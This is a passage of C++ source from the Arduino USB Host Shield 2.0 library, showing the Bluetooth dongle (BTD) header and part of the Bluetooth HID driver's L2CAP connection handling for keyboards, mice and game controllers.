L2CAP_CMD_INFORMATION_RESPONSE  0x0B\n\n// Used For Connection Response - Remember to Include High Byte\n#define PENDING     0x01\n#define SUCCESSFUL  0x00\n\n/* Bluetooth L2CAP PSM - see http://www.bluetooth.org/Technical/AssignedNumbers/logical_link.htm */\n#define SDP_PSM         0x01 // Service Discovery Protocol PSM Value\n#define RFCOMM_PSM      0x03 // RFCOMM PSM Value\n#define HID_CTRL_PSM    0x11 // HID_Control PSM Value\n#define HID_INTR_PSM    0x13 // HID_Interrupt PSM Value\n\n// Used to determine if it is a Bluetooth dongle\n#define WI_SUBCLASS_RF      0x01 // RF Controller\n#define WI_PROTOCOL_BT      0x01 // Bluetooth Programming Interface\n\n#define BTD_MAX_ENDPOINTS   4\n#define BTD_NUM_SERVICES    4 // Max number of Bluetooth services - if you need more than 4 simply increase this number\n\n#define PAIR    1\n\nclass BluetoothService;\n\n/**\n * The Bluetooth Dongle class will take care of all the USB communication\n * and then pass the data to the BluetoothService classes.\n */\nclass BTD : public USBDeviceConfig, public UsbConfigXtracter {\npublic:\n        /**\n         * Constructor for the BTD class.\n         * @param  p   Pointer to USB class instance.\n         */\n        BTD(USB *p);\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Address assignment and basic initialization is done here.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Initialize the Bluetooth dongle.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Release the USB device.\n         * @return 0 on success.\n         */\n        uint8_t Release();\n        /**\n         * Poll the USB Input endpoints and run the state machines.\n         * @return 0 on success.\n         */\n        uint8_t Poll();\n\n        /**\n         * Get the device address.\n         * @return The device address.\n         */\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        /**\n         * Used to check if the dongle has been initialized.\n         * @return True if it's ready.\n         */\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  klass The device's USB class.\n         * @return       Returns true if the device's USB class matches this driver.\n         */\n        virtual bool DEVCLASSOK(uint8_t klass) {\n                return (klass == USB_CLASS_WIRELESS_CTRL);\n        };\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * Used to set the Bluetooth address into the PS3 controllers.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                if((vid == IOGEAR_GBU521_VID && pid == IOGEAR_GBU521_PID) || (vid == BELKIN_F8T065BF_VID && pid == BELKIN_F8T065BF_PID))\n                        return true;\n                if(my_bdaddr[0] != 0x00 || my_bdaddr[1] != 0x00 || my_bdaddr[2] != 0x00 || my_bdaddr[3] != 0x00 || my_bdaddr[4] != 0x00 || my_bdaddr[5] != 0x00) { // Check if Bluetooth address is set\n                        if(vid == PS3_VID && (pid == PS3_PID || pid == PS3NAVIGATION_PID || pid == PS3MOVE_PID))\n                                return true;\n                }\n                return false;\n        };\n        /**@}*/\n\n        /** @name UsbConfigXtracter implementation */\n        /**\n         * UsbConfigXtracter implementation, used to extract endpoint information.\n         * @param conf  Configuration value.\n         * @param iface Interface number.\n         * @param alt   Alternate setting.\n         * @param proto Interface Protocol.\n         * @param ep    Endpoint Descriptor.\n         */\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n        /**@}*/\n\n        /** Disconnects both the L2CAP Channel and the HCI Connection for all Bluetooth services. */\n        void disconnect();\n\n        /**\n         * Register Bluetooth dongle members/services.\n         * @param  pService Pointer to BluetoothService class instance.\n         * @return          The service ID on success or -1 on fail.\n         */\n        int8_t registerBluetoothService(BluetoothService *pService) {\n                for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) {\n                        if(!btService[i]) {\n                                btService[i] = pService;\n                                return i; // Return ID\n                        }\n                }\n                return -1; // Error registering BluetoothService\n        };\n\n        /** @name HCI Commands */\n        /**\n         * Used to send a HCI Command.\n         * @param data   Data to send.\n         * @param nbytes Number of bytes to send.\n         */\n        void HCI_Command(uint8_t* data, uint16_t nbytes);\n        /** Reset the Bluetooth dongle. */\n        void hci_reset();\n        /** Read the Bluetooth address of the dongle. */\n        void hci_read_bdaddr();\n        /** Read the HCI Version of the Bluetooth dongle. */\n        void hci_read_local_version_information();\n        /**\n         * Set the local name of the Bluetooth dongle.\n         * @param name Desired name.\n         */\n        void hci_set_local_name(const char* name);\n        /** Enable visibility to other Bluetooth devices. */\n        void hci_write_scan_enable();\n        /** Disable visibility to other Bluetooth devices. */\n        void hci_write_scan_disable();\n        /** Read the remote devices name. */\n        void hci_remote_name();\n        /** Accept the connection with the Bluetooth device. */\n        void hci_accept_connection();\n        /**\n         * Disconnect the HCI connection.\n         * @param handle The HCI Handle for the connection.\n         */\n        void hci_disconnect(uint16_t handle);\n        /**\n         * Respond with the pin for the connection.\n         * The pin is automatically set for the Wii library,\n         * but can be customized for the SPP library.\n         */\n        void hci_pin_code_request_reply();\n        /** Respons when no pin was set. */\n        void hci_pin_code_negative_request_reply();\n        /**\n         * Command is used to reply to a Link Key Request event from the BR/EDR Controller\n         * if the Host does not have a stored Link Key for the connection.\n         */\n        void hci_link_key_request_negative_reply();\n        /** Used to try to authenticate with the remote device. */\n        void hci_authentication_request();\n        /** Start a HCI inquiry. */\n        void hci_inquiry();\n        /** Cancel a HCI inquiry. */\n        void hci_inquiry_cancel();\n        /** Connect to last device communicated with. */\n        void hci_connect();\n        /**\n         * Connect to device.\n         * @param bdaddr Bluetooth address of the device.\n         */\n        void hci_connect(uint8_t *bdaddr);\n        /** Used to a set the class of the device. */\n        void hci_write_class_of_device();\n        /**@}*/\n\n        /** @name L2CAP Commands */\n        /**\n         * Used to send L2CAP Commands.\n         * @param handle      HCI Handle.\n         * @param data        Data to send.\n         * @param nbytes      Number of bytes to send.\n         * @param channelLow,channelHigh  Low and high byte of channel to send to.\n         * If argument is omitted then the Standard L2CAP header: Channel ID (0x01) for ACL-U will be used.\n         */\n        void L2CAP_Command(uint16_t handle, uint8_t* data, uint8_t nbytes, uint8_t channelLow = 0x01, uint8_t channelHigh = 0x00);\n        /**\n         * L2CAP Connection Request.\n         * @param handle HCI handle.\n         * @param rxid   Identifier.\n         * @param scid   Source Channel Identifier.\n         * @param psm    Protocol/Service Multiplexer - see: https://www.bluetooth.org/Technical/AssignedNumbers/logical_link.htm.\n         */\n        void l2cap_connection_request(uint16_t handle, uint8_t rxid, uint8_t* scid, uint16_t psm);\n        /**\n         * L2CAP Connection Response.\n         * @param handle HCI handle.\n         * @param rxid   Identifier.\n         * @param dcid   Destination Channel Identifier.\n         * @param scid   Source Channel Identifier.\n         * @param result Result - First send ::PENDING and then ::SUCCESSFUL.\n         */\n        void l2cap_connection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid, uint8_t result);\n        /**\n         * L2CAP Config Request.\n         * @param handle HCI Handle.\n         * @param rxid   Identifier.\n         * @param dcid   Destination Channel Identifier.\n         */\n        void l2cap_config_request(uint16_t handle, uint8_t rxid, uint8_t* dcid);\n        /**\n         * L2CAP Config Response.\n         * @param handle HCI Handle.\n         * @param rxid   Identifier.\n         * @param scid   Source Channel Identifier.\n         */\n        void l2cap_config_response(uint16_t handle, uint8_t rxid, uint8_t* scid);\n        /**\n         * L2CAP Disconnection Request.\n         * @param handle HCI Handle.\n         * @param rxid   Identifier.\n         * @param dcid   Device Channel Identifier.\n         * @param scid   Source Channel Identifier.\n         */\n        void l2cap_disconnection_request(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid);\n        /**\n         * L2CAP Disconnection Response.\n         * @param handle HCI Handle.\n         * @param rxid   Identifier.\n         * @param dcid   Device Channel Identifier.\n         * @param scid   Source Channel Identifier.\n         */\n        void l2cap_disconnection_response(uint16_t handle, uint8_t rxid, uint8_t* dcid, uint8_t* scid);\n        /**\n         * L2CAP Information Response.\n         * @param handle       HCI Handle.\n         * @param rxid         Identifier.\n         * @param infoTypeLow,infoTypeHigh  Infotype.\n         */\n        void l2cap_information_response(uint16_t handle, uint8_t rxid, uint8_t infoTypeLow, uint8_t infoTypeHigh);\n        /**@}*/\n\n        /** Use this to see if it is waiting for a incoming connection. */\n        bool waitingForConnection;\n        /** This is used by the service to know when to store the device information. */\n        bool l2capConnectionClaimed;\n        /** This is used by the SPP library to claim the current SDP incoming request. */\n        bool sdpConnectionClaimed;\n        /** This is used by the SPP library to claim the current RFCOMM incoming request. */\n        bool rfcommConnectionClaimed;\n\n        /** The name you wish to make the dongle show up as. It is set automatically by the SPP library. */\n        const char* btdName;\n        /** The pin you wish to make the dongle use for authentication. It is set automatically by the SPP and BTHID library. */\n        const char* btdPin;\n\n        /** The bluetooth dongles Bluetooth address. */\n        uint8_t my_bdaddr[6];\n        /** HCI handle for the last connection. */\n        uint16_t hci_handle;\n        /** Last incoming devices Bluetooth address. */\n        uint8_t disc_bdaddr[6];\n        /** First 30 chars of last remote name. */\n        char remote_name[30];\n        /**\n         * The supported HCI Version read from the Bluetooth dongle.\n         * Used by the PS3BT library to check the HCI Version of the Bluetooth dongle,\n         * it should be at least 3 to work properly with the library.\n         */\n        uint8_t hci_version;\n\n        /** Call this function to pair with a Wiimote */\n        void pairWithWiimote() {\n                pairWithWii = true;\n                hci_state = HCI_CHECK_DEVICE_SERVICE;\n        };\n        /** Used to only send the ACL data to the Wiimote. */\n        bool connectToWii;\n        /** True if a Wiimote is connecting. */\n        bool incomingWii;\n        /** True when it should pair with a Wiimote. */\n        bool pairWithWii;\n        /** True if it's the new Wiimote with the Motion Plus Inside or a Wii U Pro Controller. */\n        bool motionPlusInside;\n        /** True if it's a Wii U Pro Controller. */\n        bool wiiUProController;\n\n        /** Call this function to pair with a HID device */\n        void pairWithHID() {\n                waitingForConnection = false;\n                pairWithHIDDevice = true;\n                hci_state = HCI_CHECK_DEVICE_SERVICE;\n        };\n        /** Used to only send the ACL data to the HID device. */\n        bool connectToHIDDevice;\n        /** True if a HID device is connecting. */\n        bool incomingHIDDevice;\n        /** True when it should pair with a device like a mouse or keyboard. */\n        bool pairWithHIDDevice;\n\n        /**\n         * Read the poll interval taken from the endpoint descriptors.\n         * @return The poll interval in ms.\n         */\n        uint8_t readPollInterval() {\n                return pollInterval;\n        };\n\nprotected:\n        /** Pointer to USB class instance. */\n        USB *pUsb;\n        /** Device address. */\n        uint8_t bAddress;\n        /** Endpoint info structure. */\n        EpInfo epInfo[BTD_MAX_ENDPOINTS];\n\n        /** Configuration number. */\n        uint8_t bConfNum;\n        /** Total number of endpoints in the configuration. */\n        uint8_t bNumEP;\n        /** Next poll time based on poll interval taken from the USB descriptor. */\n        uint32_t qNextPollTime;\n\n        /** Bluetooth dongle control endpoint. */\n        static const uint8_t BTD_CONTROL_PIPE;\n        /** HCI event endpoint index. */\n        static const uint8_t BTD_EVENT_PIPE;\n        /** ACL In endpoint index. */\n        static const uint8_t BTD_DATAIN_PIPE;\n        /** ACL Out endpoint index. */\n        static const uint8_t BTD_DATAOUT_PIPE;\n\n        /**\n         * Used to print the USB Endpoint Descriptor.\n         * @param ep_ptr Pointer to USB Endpoint Descriptor.\n         */\n        void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr);\n\nprivate:\n        void Initialize(); // Set all variables, endpoint structs etc. to default values\n        BluetoothService *btService[BTD_NUM_SERVICES];\n\n        uint16_t PID, VID; // PID and VID of device connected\n\n        uint8_t pollInterval;\n        bool bPollEnable;\n\n        bool pairWiiUsingSync; // True if pairing was done using the Wii SYNC button.\n        bool checkRemoteName; // Used to check remote device's name before connecting.\n        bool incomingPS4; // True if a PS4 controller is connecting\n        uint8_t classOfDevice[3]; // Class of device of last device\n\n        /* Variables used by high level HCI task */\n        uint8_t hci_state; // Current state of Bluetooth HCI connection\n        uint16_t hci_counter; // Counter used for Bluetooth HCI reset loops\n        uint16_t hci_num_reset_loops; // This value indicate how many times it should read before trying to reset\n        uint16_t hci_event_flag; // HCI flags of received Bluetooth events\n        uint8_t inquiry_counter;\n\n        uint8_t hcibuf[BULK_MAXPKTSIZE]; // General purpose buffer for HCI data\n        uint8_t l2capinbuf[BULK_MAXPKTSIZE]; // General purpose buffer for L2CAP in data\n        uint8_t l2capoutbuf[14]; // General purpose buffer for L2CAP out data\n\n        /* State machines */\n        void HCI_event_task(); // Poll the HCI event pipe\n        void HCI_task(); // HCI state machine\n        void ACL_event_task(); // ACL input pipe\n\n        /* Used to set the Bluetooth Address internally to the PS3 Controllers */\n        void setBdaddr(uint8_t* BDADDR);\n        void setMoveBdaddr(uint8_t* BDADDR);\n};\n\n/** All Bluetooth services should inherit this class. */\nclass BluetoothService {\npublic:\n        BluetoothService(BTD *p) : pBtd(p) {\n                if(pBtd)\n                        pBtd->registerBluetoothService(this); // Register it as a Bluetooth service\n        };\n        /**\n         * Used to pass acldata to the Bluetooth service.\n         * @param ACLData Pointer to the incoming acldata.\n         */\n        virtual void ACLData(uint8_t* ACLData) = 0;\n        /** Used to run the different state machines in the Bluetooth service. */\n        virtual void Run() = 0;\n        /** Used to reset the Bluetooth service. */\n        virtual void Reset() = 0;\n        /** Used to disconnect both the L2CAP Channel and the HCI Connection for the Bluetooth service. */\n        virtual void disconnect() = 0;\n\n        /**\n         * Used to call your own function when the device is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit; // TODO: This really belong in a class of it's own as it is repeated several times\n        };\n\nprotected:\n        /**\n         * Called when a device is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        virtual void onInit() = 0;\n\n        /** Used to check if the incoming L2CAP data matches the HCI Handle */\n        bool checkHciHandle(uint8_t *buf, uint16_t handle) {\n                return (buf[0] == (handle & 0xFF)) && (buf[1] == ((handle >> 8) | 0x20));\n        }\n\n        /** Pointer to function called in onInit(). */\n        void (*pFuncOnInit)(void);\n\n        /** Pointer to BTD instance. */\n        BTD *pBtd;\n\n        /** The HCI Handle for the connection. */\n        uint16_t hci_handle;\n\n        /** L2CAP flags of received Bluetooth events. */\n        uint32_t l2cap_event_flag;\n\n        /** Identifier for L2CAP commands. */\n        uint8_t identifier;\n};\n\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTHID.cpp",
    "content": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"BTHID.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the HID device\n\nBTHID::BTHID(BTD *p, bool pair, const char *pin) :\nBluetoothService(p), // Pointer to USB class instance - mandatory\nprotocolMode(USB_HID_BOOT_PROTOCOL) {\n        for(uint8_t i = 0; i < NUM_PARSERS; i++)\n                pRptParser[i] = NULL;\n\n        pBtd->pairWithHIDDevice = pair;\n        pBtd->btdPin = pin;\n\n        /* Set device cid for the control and intterrupt channelse - LSB */\n        control_dcid[0] = 0x70; // 0x0070\n        control_dcid[1] = 0x00;\n        interrupt_dcid[0] = 0x71; // 0x0071\n        interrupt_dcid[1] = 0x00;\n\n        Reset();\n}\n\nvoid BTHID::Reset() {\n        connected = false;\n        activeConnection = false;\n        l2cap_event_flag = 0; // Reset flags\n        l2cap_state = L2CAP_WAIT;\n        ResetBTHID();\n}\n\nvoid BTHID::disconnect() { // Use this void to disconnect the device\n        // First the HID interrupt channel has to be disconnected, then the HID control channel and finally the HCI connection\n        pBtd->l2cap_disconnection_request(hci_handle, ++identifier, interrupt_scid, interrupt_dcid);\n        Reset();\n        l2cap_state = L2CAP_INTERRUPT_DISCONNECT;\n}\n\nvoid BTHID::ACLData(uint8_t* l2capinbuf) {\n        if(!pBtd->l2capConnectionClaimed && pBtd->incomingHIDDevice && !connected && !activeConnection) {\n                if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n                        if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) {\n                                pBtd->incomingHIDDevice = false;\n                                pBtd->l2capConnectionClaimed = true; // Claim that the incoming connection belongs to this service\n                                activeConnection = true;\n                                hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection\n                                l2cap_state = L2CAP_WAIT;\n                        }\n                }\n        }\n\n        if(checkHciHandle(l2capinbuf, hci_handle)) { // acl_handle_ok\n                if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U\n                        if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nL2CAP Command Rejected - Reason: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[17], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[16], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n#endif\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_RESPONSE) {\n                                if(((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) && ((l2capinbuf[18] | (l2capinbuf[19] << 8)) == SUCCESSFUL)) { // Success\n                                        if(l2capinbuf[14] == control_dcid[0] && l2capinbuf[15] == control_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Control Connection Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                control_scid[0] = l2capinbuf[12];\n                                                control_scid[1] = l2capinbuf[13];\n                                                l2cap_set_flag(L2CAP_FLAG_CONTROL_CONNECTED);\n                                        } else if(l2capinbuf[14] == interrupt_dcid[0] && l2capinbuf[15] == interrupt_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Interrupt Connection Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                interrupt_scid[0] = l2capinbuf[12];\n                                                interrupt_scid[1] = l2capinbuf[13];\n                                                l2cap_set_flag(L2CAP_FLAG_INTERRUPT_CONNECTED);\n                                        }\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n#ifdef EXTRADEBUG\n                                Notify(PSTR(\"\\r\\nL2CAP Connection Request - PSM: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" SCID: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n                                Notify(PSTR(\" Identifier: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[9], 0x80);\n#endif\n                                if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) {\n                                        identifier = l2capinbuf[9];\n                                        control_scid[0] = l2capinbuf[14];\n                                        control_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST);\n                                } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_INTR_PSM) {\n                                        identifier = l2capinbuf[9];\n                                        interrupt_scid[0] = l2capinbuf[14];\n                                        interrupt_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) {\n                                if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success\n                                        if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Control Configuration Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS);\n                                        } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Interrupt Configuration Complete\"), 0x80);\n                                                identifier = l2capinbuf[9];\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS);\n                                        }\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) {\n                                if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nHID Control Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], control_scid);\n                                } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nHID Interrupt Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], interrupt_scid);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) {\n                                if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nDisconnect Request: Control Channel\"), 0x80);\n#endif\n                                        identifier = l2capinbuf[9];\n                                        pBtd->l2cap_disconnection_response(hci_handle, identifier, control_dcid, control_scid);\n                                        Reset();\n                                } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nDisconnect Request: Interrupt Channel\"), 0x80);\n#endif\n                                        identifier = l2capinbuf[9];\n                                        pBtd->l2cap_disconnection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid);\n                                        Reset();\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) {\n                                if(l2capinbuf[12] == control_scid[0] && l2capinbuf[13] == control_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: Control Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE);\n                                } else if(l2capinbuf[12] == interrupt_scid[0] && l2capinbuf[13] == interrupt_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: Interrupt Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE);\n                                }\n                        }\n#ifdef EXTRADEBUG\n                        else {\n                                identifier = l2capinbuf[9];\n                                Notify(PSTR(\"\\r\\nL2CAP Unknown Signaling Command: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[8], 0x80);\n                        }\n#endif\n                } else if(l2capinbuf[6] == interrupt_dcid[0] && l2capinbuf[7] == interrupt_dcid[1]) { // l2cap_interrupt\n#ifdef PRINTREPORT\n                        Notify(PSTR(\"\\r\\nL2CAP Interrupt: \"), 0x80);\n                        for(uint16_t i = 0; i < ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]); i++) {\n                                D_PrintHex<uint8_t > (l2capinbuf[i + 8], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                        }\n#endif\n                        if(l2capinbuf[8] == 0xA1) { // HID_THDR_DATA_INPUT\n                                uint16_t length = ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]);\n                                ParseBTHIDData((uint8_t)(length - 1), &l2capinbuf[9]);\n\n                                switch(l2capinbuf[9]) {\n                                        case 0x01: // Keyboard or Joystick events\n                                                if(pRptParser[KEYBOARD_PARSER_ID])\n                                                        pRptParser[KEYBOARD_PARSER_ID]->Parse(reinterpret_cast<USBHID *>(this), 0, (uint8_t)(length - 2), &l2capinbuf[10]); // Use reinterpret_cast again to extract the instance\n                                                break;\n\n                                        case 0x02: // Mouse events\n                                                if(pRptParser[MOUSE_PARSER_ID])\n                                                        pRptParser[MOUSE_PARSER_ID]->Parse(reinterpret_cast<USBHID *>(this), 0, (uint8_t)(length - 2), &l2capinbuf[10]); // Use reinterpret_cast again to extract the instance\n                                                break;\n#ifdef EXTRADEBUG\n                                        default:\n                                                Notify(PSTR(\"\\r\\nUnknown Report type: \"), 0x80);\n                                                D_PrintHex<uint8_t > (l2capinbuf[9], 0x80);\n                                                break;\n#endif\n                                }\n                        }\n                } else if(l2capinbuf[6] == control_dcid[0] && l2capinbuf[7] == control_dcid[1]) { // l2cap_control\n#ifdef PRINTREPORT\n                        Notify(PSTR(\"\\r\\nL2CAP Control: \"), 0x80);\n                        for(uint16_t i = 0; i < ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]); i++) {\n                                D_PrintHex<uint8_t > (l2capinbuf[i + 8], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                        }\n#endif\n                }\n#ifdef EXTRADEBUG\n                else {\n                        Notify(PSTR(\"\\r\\nUnsupported L2CAP Data - Channel ID: \"), 0x80);\n                        D_PrintHex<uint8_t > (l2capinbuf[7], 0x80);\n                        Notify(PSTR(\" \"), 0x80);\n                        D_PrintHex<uint8_t > (l2capinbuf[6], 0x80);\n\n                        Notify(PSTR(\"\\r\\nData: \"), 0x80);\n                        Notify(PSTR(\"\\r\\n\"), 0x80);\n                        for(uint16_t i = 0; i < ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]); i++) {\n                                D_PrintHex<uint8_t > (l2capinbuf[i + 8], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                        }\n                }\n#endif\n                L2CAP_task();\n        }\n}\n\nvoid BTHID::L2CAP_task() {\n        switch(l2cap_state) {\n                        /* These states are used if the HID device is the host */\n                case L2CAP_CONTROL_SUCCESS:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Control Successfully Configured\"), 0x80);\n#endif\n                                setProtocol(); // Set protocol before establishing HID interrupt channel\n                                l2cap_state = L2CAP_INTERRUPT_SETUP;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_SETUP:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Interrupt Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid);\n\n                                l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST;\n                        }\n                        break;\n\n                        /* These states are used if the Arduino is the host */\n                case L2CAP_CONTROL_CONNECT_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONTROL_CONNECTED)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend HID Control Config Request\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_config_request(hci_handle, identifier, control_scid);\n                                l2cap_state = L2CAP_CONTROL_CONFIG_REQUEST;\n                        }\n                        break;\n\n                case L2CAP_CONTROL_CONFIG_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) {\n                                setProtocol(); // Set protocol before establishing HID interrupt channel\n                                delay(1); // Short delay between commands - just to be sure\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend HID Interrupt Connection Request\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_connection_request(hci_handle, identifier, interrupt_dcid, HID_INTR_PSM);\n                                l2cap_state = L2CAP_INTERRUPT_CONNECT_REQUEST;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_CONNECT_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_INTERRUPT_CONNECTED)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend HID Interrupt Config Request\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid);\n                                l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_CONFIG_REQUEST:\n                        